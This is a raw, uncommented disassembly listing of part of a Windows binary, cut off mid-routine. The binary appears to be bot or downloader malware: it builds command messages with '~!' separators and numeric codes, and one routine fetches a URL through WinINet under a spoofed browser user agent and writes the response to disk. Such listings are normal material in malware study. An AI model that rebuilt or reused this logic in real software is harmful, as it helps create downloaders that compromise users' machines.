sub_403624	proc near		; CODE XREF: sub_405263+187p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		mov	dword_421CEC, eax
		retn	4
sub_403624	endp


; =============== S U B	R O U T	I N E =======================================



sub_403632	proc near		; CODE XREF: sub_403697+Ap
					; sub_403A87+11p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	esi
		push	edi
		push	dword_421CEC
		mov	esi, offset asc_41BCC0 ; "~!"
		push	esi
		call	sub_40DB2F
		mov	edi, eax
		test	edi, edi
		jz	short loc_403678
		mov	ecx, dword_421CEC
		sub	eax, ecx
		test	eax, eax
		jle	short loc_403666
		push	eax
		push	ecx
		mov	ecx, [esp+10h+arg_4]
		call	sub_40DB5E


loc_403666:				; CODE XREF: sub_403632+27j
		push	esi
		call	sub_40CD83
		add	eax, edi
		mov	dword_421CEC, eax
		pop	ecx
		mov	al, 1
		jmp	short loc_403692
; ---------------------------------------------------------------------------


loc_403678:				; CODE XREF: sub_403632+1Bj
		mov	ecx, [esp+8+arg_4]
		push	0
		push	dword_421CEC
		call	sub_40DB5E
		and	dword_421CEC, 0
		xor	al, al


loc_403692:				; CODE XREF: sub_403632+44j
		pop	edi
		pop	esi
		retn	8
sub_403632	endp


; =============== S U B	R O U T	I N E =======================================



sub_403697	proc near		; CODE XREF: sub_404AB9+1Ap
					; sub_404AB9+37p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	esi
		push	[esp+8+arg_0]
		call	sub_403632
		test	al, al
		jz	short loc_4036C0
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4036C0
		push	eax
		call	sub_40CD83
		test	eax, eax
		pop	ecx
		jbe	short loc_4036C0
		xor	eax, eax
		inc	eax
		jmp	short loc_4036C2
; ---------------------------------------------------------------------------


loc_4036C0:				; CODE XREF: sub_403697+11j
					; sub_403697+17j ...
		xor	eax, eax


loc_4036C2:				; CODE XREF: sub_403697+27j
		pop	esi
		retn	8
sub_403697	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4036C6	proc near		; CODE XREF: sub_403B7F+35p

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		xor	ebx, ebx
		lea	ecx, [ebp+var_C]
		mov	[ebp+var_1], bl
		call	sub_40DB48
		lea	ecx, [ebp+var_8]
		call	sub_40DB48
		push	ebx
		push	offset a5	; "5"
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	ebx
		mov	esi, offset asc_41BCC0 ; "~!"
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	dword ptr [edi+70h]
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		push	ebx
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	23h
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		push	ebx
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	[ebp+arg_0]
		call	ds:dword_41811C
		push	eax
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		push	ebx
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	ebx
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	ebx
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, edi
		call	sub_404905
		test	al, al
		pop	edi
		pop	esi
		pop	ebx
		jz	short loc_40376F
		mov	[ebp+var_1], 1


loc_40376F:				; CODE XREF: sub_4036C6+A3j
		lea	ecx, [ebp+var_8]
		call	sub_40DB59
		lea	ecx, [ebp+var_C]
		call	sub_40DB59
		mov	al, [ebp+var_1]
		leave
		retn	4
sub_4036C6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403786	proc near		; CODE XREF: sub_403DE0+33p

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		xor	ebx, ebx
		lea	ecx, [ebp+var_C]
		mov	[ebp+var_10], edi
		mov	[ebp+var_1], bl
		call	sub_40DB48
		lea	ecx, [ebp+var_8]
		call	sub_40DB48
		push	ebx
		push	offset a9	; "9"
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	ebx
		mov	esi, offset asc_41BCC0 ; "~!"
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	dword ptr [edi+70h]
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		push	ebx
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	23h
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		push	ebx
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		mov	edi, [ebp+arg_0]
		mov	eax, [edi]
		cmp	eax, ebx
		jnz	short loc_4037FC
		xor	eax, eax
		jmp	short loc_403803
; ---------------------------------------------------------------------------


loc_4037FC:				; CODE XREF: sub_403786+70j
		push	eax
		call	sub_40CD83
		pop	ecx


loc_403803:				; CODE XREF: sub_403786+74j
		push	eax
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		push	ebx
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	ebx
		push	dword ptr [edi]
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		mov	ecx, [ebp+var_10]
		push	ebx
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_404905
		test	al, al
		pop	edi
		pop	esi
		pop	ebx
		jz	short loc_40383D
		mov	[ebp+var_1], 1


loc_40383D:				; CODE XREF: sub_403786+B1j
		lea	ecx, [ebp+var_8]
		call	sub_40DB59
		lea	ecx, [ebp+var_C]
		call	sub_40DB59
		mov	al, [ebp+var_1]
		leave
		retn	4
sub_403786	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403854	proc near		; CODE XREF: sub_403AA0+27p

var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	[ebp+var_4], 10h
		call	ds:dword_418120
		mov	ecx, [ebp+arg_0]
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_401AA0
		leave
		retn	4
sub_403854	endp


; =============== S U B	R O U T	I N E =======================================



sub_40387F	proc near		; CODE XREF: sub_405069+6j
					; sub_405675+27p ...
		cmp	dword ptr [ecx+7Ch], 0
		jz	short loc_40389A
		mov	eax, [ecx+80h]
		mov	byte ptr [eax],	0
		push	dword ptr [ecx+7Ch]
		call	ds:dword_4180A8
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_40389A:				; CODE XREF: sub_40387F+4j
		xor	al, al
		retn
sub_40387F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40389D	proc near		; CODE XREF: sub_403ED0+218p
		cmp	dword ptr [ecx+7Ch], 0
		jz	short loc_4038B8
		mov	eax, [ecx+80h]
		mov	byte ptr [eax],	1
		push	dword ptr [ecx+7Ch]
		call	ds:dword_4180A8
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_4038B8:				; CODE XREF: sub_40389D+4j
		xor	al, al
		retn
sub_40389D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038BB	proc near		; CODE XREF: sub_403ED0+1C1p

var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_4]
		call	sub_40DCEB
		mov	eax, [ebp+var_4]
		push	2Fh
		push	eax
		mov	[ebp+var_14], eax
		call	sub_40CEE6
		mov	esi, eax
		xor	ebx, ebx
		cmp	esi, ebx
		pop	ecx
		pop	ecx
		jz	loc_403A78
		push	esi
		call	sub_40CD83
		cmp	eax, 2
		pop	ecx
		jb	loc_403A78
		push	2Fh
		push	[ebp+var_4]
		inc	esi
		mov	[ebp+var_8], esi
		call	sub_40CECD
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	loc_403A78
		mov	esi, ds:dword_418168
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], bl
		push	ebx
		inc	eax
		mov	edi, offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible;	MSIE 6.0; Wind"...
		push	edi
		mov	[ebp+var_C], eax
		call	esi
		cmp	eax, ebx
		mov	[ebp+var_10], eax
		jnz	short loc_403945
		push	ebx
		push	ebx
		push	ebx
		push	1
		push	edi
		call	esi
		cmp	eax, ebx
		mov	[ebp+var_10], eax
		jz	loc_403A78


loc_403945:				; CODE XREF: sub_4038BB+75j
		push	ebx
		push	ebx
		push	3
		push	ebx
		push	offset aAnonymous ; "anonymous"
		push	50h
		push	[ebp+var_14]
		push	[ebp+var_10]
		call	ds:dword_418160
		cmp	eax, ebx
		mov	[ebp+var_1C], eax
		jz	loc_403A63
		push	ebx
		push	80000100h
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+var_C]
		push	ebx
		push	eax
		call	ds:dword_418178
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jz	loc_403A5A
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	ds:dword_418164
		test	eax, eax
		jz	loc_403A51
		mov	esi, [ebp+arg_4]
		push	105h
		mov	ecx, esi
		call	sub_40DADA
		push	dword ptr [esi]
		push	104h
		call	ds:dword_4180F8
		push	ebx
		push	offset asc_41BCCC ; "\\"
		mov	ecx, esi
		call	sub_40DBA2
		push	ebx
		push	[ebp+var_8]
		mov	ecx, esi
		call	sub_40DBA2
		push	ebx
		push	80h
		push	2
		push	ebx
		push	7
		push	40000000h
		push	dword ptr [esi]
		call	ds:dword_418100
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_14], eax
		jz	short loc_403A51
		mov	edi, ds:dword_418170
		mov	[ebp+var_8], ebx
		jmp	short loc_403A37
; ---------------------------------------------------------------------------


loc_4039F9:				; CODE XREF: sub_4038BB+189j
		cmp	[ebp+var_8], ebx
		jbe	short loc_403A46
		push	[ebp+var_8]
		call	sub_40D0BB
		pop	ecx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_8]
		push	esi
		push	[ebp+var_C]
		call	ds:dword_41816C
		push	ebx
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+var_18]
		push	esi
		push	[ebp+var_14]
		call	ds:dword_4180FC
		cmp	esi, ebx
		jz	short loc_403A37
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_403A37:				; CODE XREF: sub_4038BB+13Cj
					; sub_4038BB+173j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_C]
		call	edi
		test	eax, eax
		jnz	short loc_4039F9


loc_403A46:				; CODE XREF: sub_4038BB+141j
		push	[ebp+var_14]
		call	ds:dword_4180A4
		mov	bl, 1


loc_403A51:				; CODE XREF: sub_4038BB+D9j
					; sub_4038BB+131j
		push	[ebp+var_C]
		call	ds:dword_41817C


loc_403A5A:				; CODE XREF: sub_4038BB+C6j
		push	[ebp+var_1C]
		call	ds:dword_41817C


loc_403A63:				; CODE XREF: sub_4038BB+A7j
		push	[ebp+var_10]
		call	ds:dword_41817C
		lea	ecx, [ebp+var_4]
		call	sub_40DB59
		mov	al, bl
		jmp	short loc_403A82
; ---------------------------------------------------------------------------


loc_403A78:				; CODE XREF: sub_4038BB+2Aj
					; sub_4038BB+3Aj ...
		lea	ecx, [ebp+var_4]
		call	sub_40DB59
		xor	al, al


loc_403A82:				; CODE XREF: sub_4038BB+1BBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4038BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A87	proc near		; CODE XREF: sub_403ED0+C0p
					; sub_404E95+49p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	[esp+arg_4]
		mov	edx, [eax]
		push	eax
		mov	dword_421CEC, edx
		call	sub_403632
		retn	8
sub_403A87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403AA0	proc near		; CODE XREF: sub_404E95+1Ap
					; sub_4062A6+6Ap

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	ecx, [ebp+var_4]
		call	sub_40DB48
		xor	ebx, ebx
		push	ebx
		push	offset a1_0	; "1~!"
		lea	ecx, [ebp+var_4]
		call	sub_40DBA2
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, edi
		call	sub_403854
		push	ebx
		mov	esi, offset asc_41BCC0 ; "~!"
		push	esi
		lea	ecx, [ebp+var_4]
		call	sub_40DBA2
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_403539
		pop	ecx
		push	ebx
		push	esi
		lea	ecx, [ebp+var_4]
		call	sub_40DBA2
		push	dword ptr [edi+70h]
		lea	ecx, [ebp+var_4]
		call	sub_40DBF8
		push	ebx
		push	esi
		lea	ecx, [ebp+var_4]
		call	sub_40DBA2
		cmp	[edi+78h], bl
		mov	eax, offset a1	; "1"
		jnz	short loc_403B13
		mov	eax, offset a0	; "0"


loc_403B13:				; CODE XREF: sub_403AA0+6Cj
		push	ebx
		push	eax
		lea	ecx, [ebp+var_4]
		call	sub_40DBA2
		push	ebx
		push	esi
		lea	ecx, [ebp+var_4]
		call	sub_40DBA2
		push	23h
		lea	ecx, [ebp+var_4]
		call	sub_40DBF8
		push	ebx
		push	esi
		lea	ecx, [ebp+var_4]
		call	sub_40DBA2
		cmp	[edi+79h], bl
		mov	eax, offset a1	; "1"
		jnz	short loc_403B4A
		mov	eax, offset a0	; "0"


loc_403B4A:				; CODE XREF: sub_403AA0+A3j
		push	ebx
		push	eax
		lea	ecx, [ebp+var_4]
		call	sub_40DBA2
		push	ebx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, edi
		call	sub_404905
		cmp	al, bl
		mov	byte ptr [ebp+arg_0+3],	al
		jz	short loc_403B6D
		mov	[edi+78h], bl


loc_403B6D:				; CODE XREF: sub_403AA0+C8j
		lea	ecx, [ebp+var_4]
		call	sub_40DB59
		mov	al, byte ptr [ebp+arg_0+3]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_403AA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_403B7F	proc near		; CODE XREF: sub_405074+BFp
					; sub_4062A6+80p

arg_0		= dword	ptr  4

		push	ebx
		push	edi
		mov	edi, ecx
		mov	ecx, [edi+8Ch]
		xor	bl, bl
		test	ecx, ecx
		jz	short loc_403BE0
		cmp	[ecx+48h], bl
		jz	short loc_403BE0
		push	ebp
		push	esi
		mov	ebp, 7800h
		jmp	short loc_403BC3
; ---------------------------------------------------------------------------


loc_403B9D:				; CODE XREF: sub_403B7F+4Ej
		mov	eax, [esp+10h+arg_0]
		push	1
		push	0
		push	dword ptr [eax]
		call	ds:dword_4180B0
		test	eax, eax
		jz	short loc_403BD3
		push	esi
		mov	ecx, edi
		call	sub_4036C6
		test	al, al
		jz	short loc_403BD1
		mov	ecx, [edi+8Ch]


loc_403BC3:				; CODE XREF: sub_403B7F+1Cj
		push	ebp
		call	sub_4087FF
		mov	esi, eax
		test	esi, esi
		jnz	short loc_403B9D
		jmp	short loc_403BDE
; ---------------------------------------------------------------------------


loc_403BD1:				; CODE XREF: sub_403B7F+3Cj
		mov	bl, 1


loc_403BD3:				; CODE XREF: sub_403B7F+30j
		test	esi, esi
		jz	short loc_403BDE
		push	esi
		call	sub_40CCC5
		pop	ecx


loc_403BDE:				; CODE XREF: sub_403B7F+50j
					; sub_403B7F+56j
		pop	esi
		pop	ebp


loc_403BE0:				; CODE XREF: sub_403B7F+Ej
					; sub_403B7F+13j
		xor	eax, eax
		test	bl, bl
		pop	edi
		setz	al
		pop	ebx
		retn	4
sub_403B7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_403BEC	proc near		; CODE XREF: sub_403DAE+1Ap
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_403C07
		mov	ecx, edi
		call	sub_408785
		push	edi
		call	sub_40D0B6
		and	dword ptr [esi], 0
		pop	ecx


loc_403C07:				; CODE XREF: sub_403BEC+8j
		pop	edi
		pop	esi
		retn
sub_403BEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_403C0A	proc near		; CODE XREF: sub_403CCB+84p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_403C2B
		cmp	ebx, esi
		jz	short loc_403C2B
		mov	ecx, esi
		call	sub_408785
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_403C2B:				; CODE XREF: sub_403C0A+Dj
					; sub_403C0A+11j
		mov	[edi], ebx
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	4
sub_403C0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_403C35	proc near		; CODE XREF: sub_403DAE+Fp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_403C50
		mov	ecx, edi
		call	sub_409128
		push	edi
		call	sub_40D0B6
		and	dword ptr [esi], 0
		pop	ecx


loc_403C50:				; CODE XREF: sub_403C35+8j
		pop	edi
		pop	esi
		retn
sub_403C35	endp


; =============== S U B	R O U T	I N E =======================================



sub_403C53	proc near		; CODE XREF: sub_403CCB+D6p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_403C74
		cmp	ebx, esi
		jz	short loc_403C74
		mov	ecx, esi
		call	sub_409128
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_403C74:				; CODE XREF: sub_403C53+Dj
					; sub_403C53+11j
		mov	[edi], ebx
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	4
sub_403C53	endp


; =============== S U B	R O U T	I N E =======================================



sub_403C7E	proc near		; CODE XREF: sub_403DE0+4Ep
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_403C99
		mov	ecx, edi
		call	sub_40DB59
		push	edi
		call	sub_40D0B6
		and	dword ptr [esi], 0
		pop	ecx


loc_403C99:				; CODE XREF: sub_403C7E+8j
		pop	edi
		pop	esi
		retn
sub_403C7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_403C9C	proc near		; CODE XREF: sub_403E3F+2Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi], 0
		push	edi
		jz	short loc_403CAA
		call	sub_401F85


loc_403CAA:				; CODE XREF: sub_403C9C+7j
		mov	edi, [esp+8+arg_0]
		mov	eax, edi
		shl	eax, 2
		push	1
		push	eax
		call	sub_40CA2C
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi], eax
		jz	short loc_403CC6
		mov	[esi+4], edi


loc_403CC6:				; CODE XREF: sub_403C9C+25j
		pop	edi
		pop	esi
		retn	4
sub_403C9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403CCB	proc near		; CODE XREF: sub_4058DF+14p
					; sub_406E37+13p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		mov	esi, ecx
		call	sub_404949
		mov	al, [esp+0Ch+arg_C]
		mov	[esi+79h], al
		mov	eax, [esp+0Ch+arg_4]
		mov	[esi+7Ch], eax
		mov	eax, [esp+0Ch+arg_8]
		lea	edi, [esi+84h]
		mov	ecx, edi
		mov	dword ptr [esi], offset	off_41BD24
		mov	[esi+80h], eax
		call	sub_402FCB
		lea	eax, [esi+74h]
		lea	ebx, [esi+8Ch]
		and	dword ptr [ebx], 0
		and	dword ptr [esi+90h], 0
		push	eax
		mov	ecx, edi
		call	sub_4030E3
		lea	eax, [esi+70h]
		push	eax
		mov	ecx, edi
		call	sub_403078
		neg	al
		sbb	al, al
		inc	al
		mov	[esi+78h], al
		jz	short loc_403D83
		push	4Ch
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_403D4A
		mov	ecx, eax
		call	sub_408CDF
		jmp	short loc_403D4C
; ---------------------------------------------------------------------------


loc_403D4A:				; CODE XREF: sub_403CCB+74j
		xor	eax, eax


loc_403D4C:				; CODE XREF: sub_403CCB+7Dj
		push	eax
		mov	ecx, ebx
		call	sub_403C0A
		push	0
		call	sub_40CFAE
		push	eax
		call	sub_40CF2A
		pop	ecx
		pop	ecx
		call	sub_40CF34
		movzx	ebx, ax
		shl	ebx, 10h
		call	sub_40CF34
		movzx	eax, ax
		or	eax, ebx
		push	eax
		mov	ecx, edi
		mov	[esi+70h], eax
		call	sub_4030AA


loc_403D83:				; CODE XREF: sub_403CCB+68j
		push	4Ch
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_403D98
		mov	ecx, eax
		call	sub_40939B
		jmp	short loc_403D9A
; ---------------------------------------------------------------------------


loc_403D98:				; CODE XREF: sub_403CCB+C2j
		xor	eax, eax


loc_403D9A:				; CODE XREF: sub_403CCB+CBj
		push	eax
		lea	ecx, [esi+90h]
		call	sub_403C53
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	10h
sub_403CCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_403DAE	proc near		; CODE XREF: sub_403E74+3p
					; sub_404FDE+86j ...
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+90h]
		mov	dword ptr [esi], offset	off_41BD24
		call	sub_403C35
		lea	ecx, [esi+8Ch]
		call	sub_403BEC
		lea	ecx, [esi+84h]
		call	sub_403061
		mov	ecx, esi
		pop	esi
		jmp	sub_40444C
sub_403DAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DE0	proc near		; CODE XREF: sub_405074+CEp
					; sub_4062A6+87p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		mov	edi, ecx
		mov	ecx, [edi+90h]
		xor	bl, bl
		test	ecx, ecx
		jz	short loc_403E34
		push	esi
		call	sub_40906B
		mov	esi, eax
		mov	eax, [esi]
		test	eax, eax
		mov	[ebp+var_4], esi
		jz	short loc_403E2B
		push	eax
		call	sub_40CD83
		test	eax, eax
		pop	ecx
		jz	short loc_403E2B
		push	esi
		mov	ecx, edi
		call	sub_403786
		test	al, al
		jnz	short loc_403E20
		inc	bl
		jmp	short loc_403E2B
; ---------------------------------------------------------------------------


loc_403E20:				; CODE XREF: sub_403DE0+3Aj
		mov	ecx, [edi+90h]
		call	sub_409006


loc_403E2B:				; CODE XREF: sub_403DE0+23j
					; sub_403DE0+2Ej ...
		lea	ecx, [ebp+var_4]
		call	sub_403C7E
		pop	esi


loc_403E34:				; CODE XREF: sub_403DE0+12j
		xor	eax, eax
		test	bl, bl
		pop	edi
		setz	al
		pop	ebx
		leave
		retn
sub_403DE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_403E3F	proc near		; CODE XREF: sub_403E90+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		push	edi
		jz	short loc_403E66
		mov	edi, [esp+8+arg_0]
		mov	ecx, edi
		shl	ecx, 2
		push	ecx
		push	eax
		call	sub_40CA55
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_403E6F
		mov	[esi+4], edi
		mov	[esi], eax
		jmp	short loc_403E6F
; ---------------------------------------------------------------------------


loc_403E66:				; CODE XREF: sub_403E3F+8j
		push	[esp+8+arg_0]
		call	sub_403C9C


loc_403E6F:				; CODE XREF: sub_403E3F+1Ej
					; sub_403E3F+25j
		pop	edi
		pop	esi
		retn	4
sub_403E3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_403E74	proc near		; DATA XREF: .rdata:off_41BD24o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_403DAE
		test	[esp+4+arg_0], 1
		jz	short loc_403E8A
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_403E8A:				; CODE XREF: sub_403E74+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_403E74	endp


; =============== S U B	R O U T	I N E =======================================



sub_403E90	proc near		; CODE XREF: sub_403EB3+1p
					; sub_4080EA+139p ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		inc	eax
		push	eax
		call	sub_403E3F
		mov	eax, [esi+4]
		mov	ecx, [esi]
		lea	ecx, [ecx+eax*4-4]
		test	ecx, ecx
		pop	esi
		jz	short loc_403EB0
		jmp	sub_40DB48
; ---------------------------------------------------------------------------


loc_403EB0:				; CODE XREF: sub_403E90+19j
		xor	eax, eax
		retn
sub_403E90	endp


; =============== S U B	R O U T	I N E =======================================



sub_403EB3	proc near		; CODE XREF: sub_403ED0+106p

arg_0		= dword	ptr  4

		push	esi
		call	sub_403E90
		mov	esi, eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	dword ptr [eax]
		mov	ecx, esi
		call	sub_40DB5E
		mov	eax, esi
		pop	esi
		retn	4
sub_403EB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403ED0	proc near		; CODE XREF: sub_405074+31p
					; sub_4062A6+9Dp

var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
var_3C		= byte ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		xor	ebx, ebx
		lea	ecx, [ebp+var_14]
		mov	[ebp+var_18], edi
		mov	[ebp+var_1], bl
		call	sub_40DB48
		lea	ecx, [ebp+var_8]
		call	sub_40DB48
		push	ebx
		push	offset a2	; "2~!"
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	dword ptr [edi+70h]
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		push	ebx
		mov	esi, offset asc_41BCC0 ; "~!"
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	23h
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		push	ebx
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		cmp	[edi+79h], bl
		push	ebx
		lea	ecx, [ebp+var_8]
		jz	short loc_403F5C
		push	offset a1	; "1"
		call	sub_40DBA2
		push	ebx
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		jmp	short loc_403F66
; ---------------------------------------------------------------------------


loc_403F5C:				; CODE XREF: sub_403ED0+69j
		push	offset a0	; "0"
		call	sub_40DBA2


loc_403F66:				; CODE XREF: sub_403ED0+8Aj
		push	ebx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, edi
		call	sub_404905
		test	al, al
		jz	loc_404133
		lea	ecx, [ebp+var_10]
		call	sub_40DB48
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, edi
		call	sub_403A87
		test	al, al
		jz	loc_40412B
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], ebx


loc_403FA3:				; CODE XREF: sub_403ED0+116j
		lea	ecx, [ebp+var_C]
		call	sub_40DB48
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, edi
		call	sub_403632
		cmp	[ebp+var_C], ebx
		mov	byte ptr [ebp+arg_0+3],	al
		jz	short loc_403FDB
		push	[ebp+var_C]
		call	sub_40CD83
		cmp	eax, ebx
		pop	ecx
		jbe	short loc_403FDB
		lea	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_2C]
		call	sub_403EB3


loc_403FDB:				; CODE XREF: sub_403ED0+F0j
					; sub_403ED0+FDj
		lea	ecx, [ebp+var_C]
		call	sub_40DB59
		cmp	byte ptr [ebp+arg_0+3],	bl
		jnz	short loc_403FA3
		cmp	[ebp+var_10], ebx
		jz	loc_40411F
		push	[ebp+var_10]
		call	sub_40CD83
		cmp	eax, ebx
		pop	ecx
		jbe	loc_40411F
		mov	esi, [ebp+var_28]
		cmp	esi, ebx
		jbe	loc_40411F
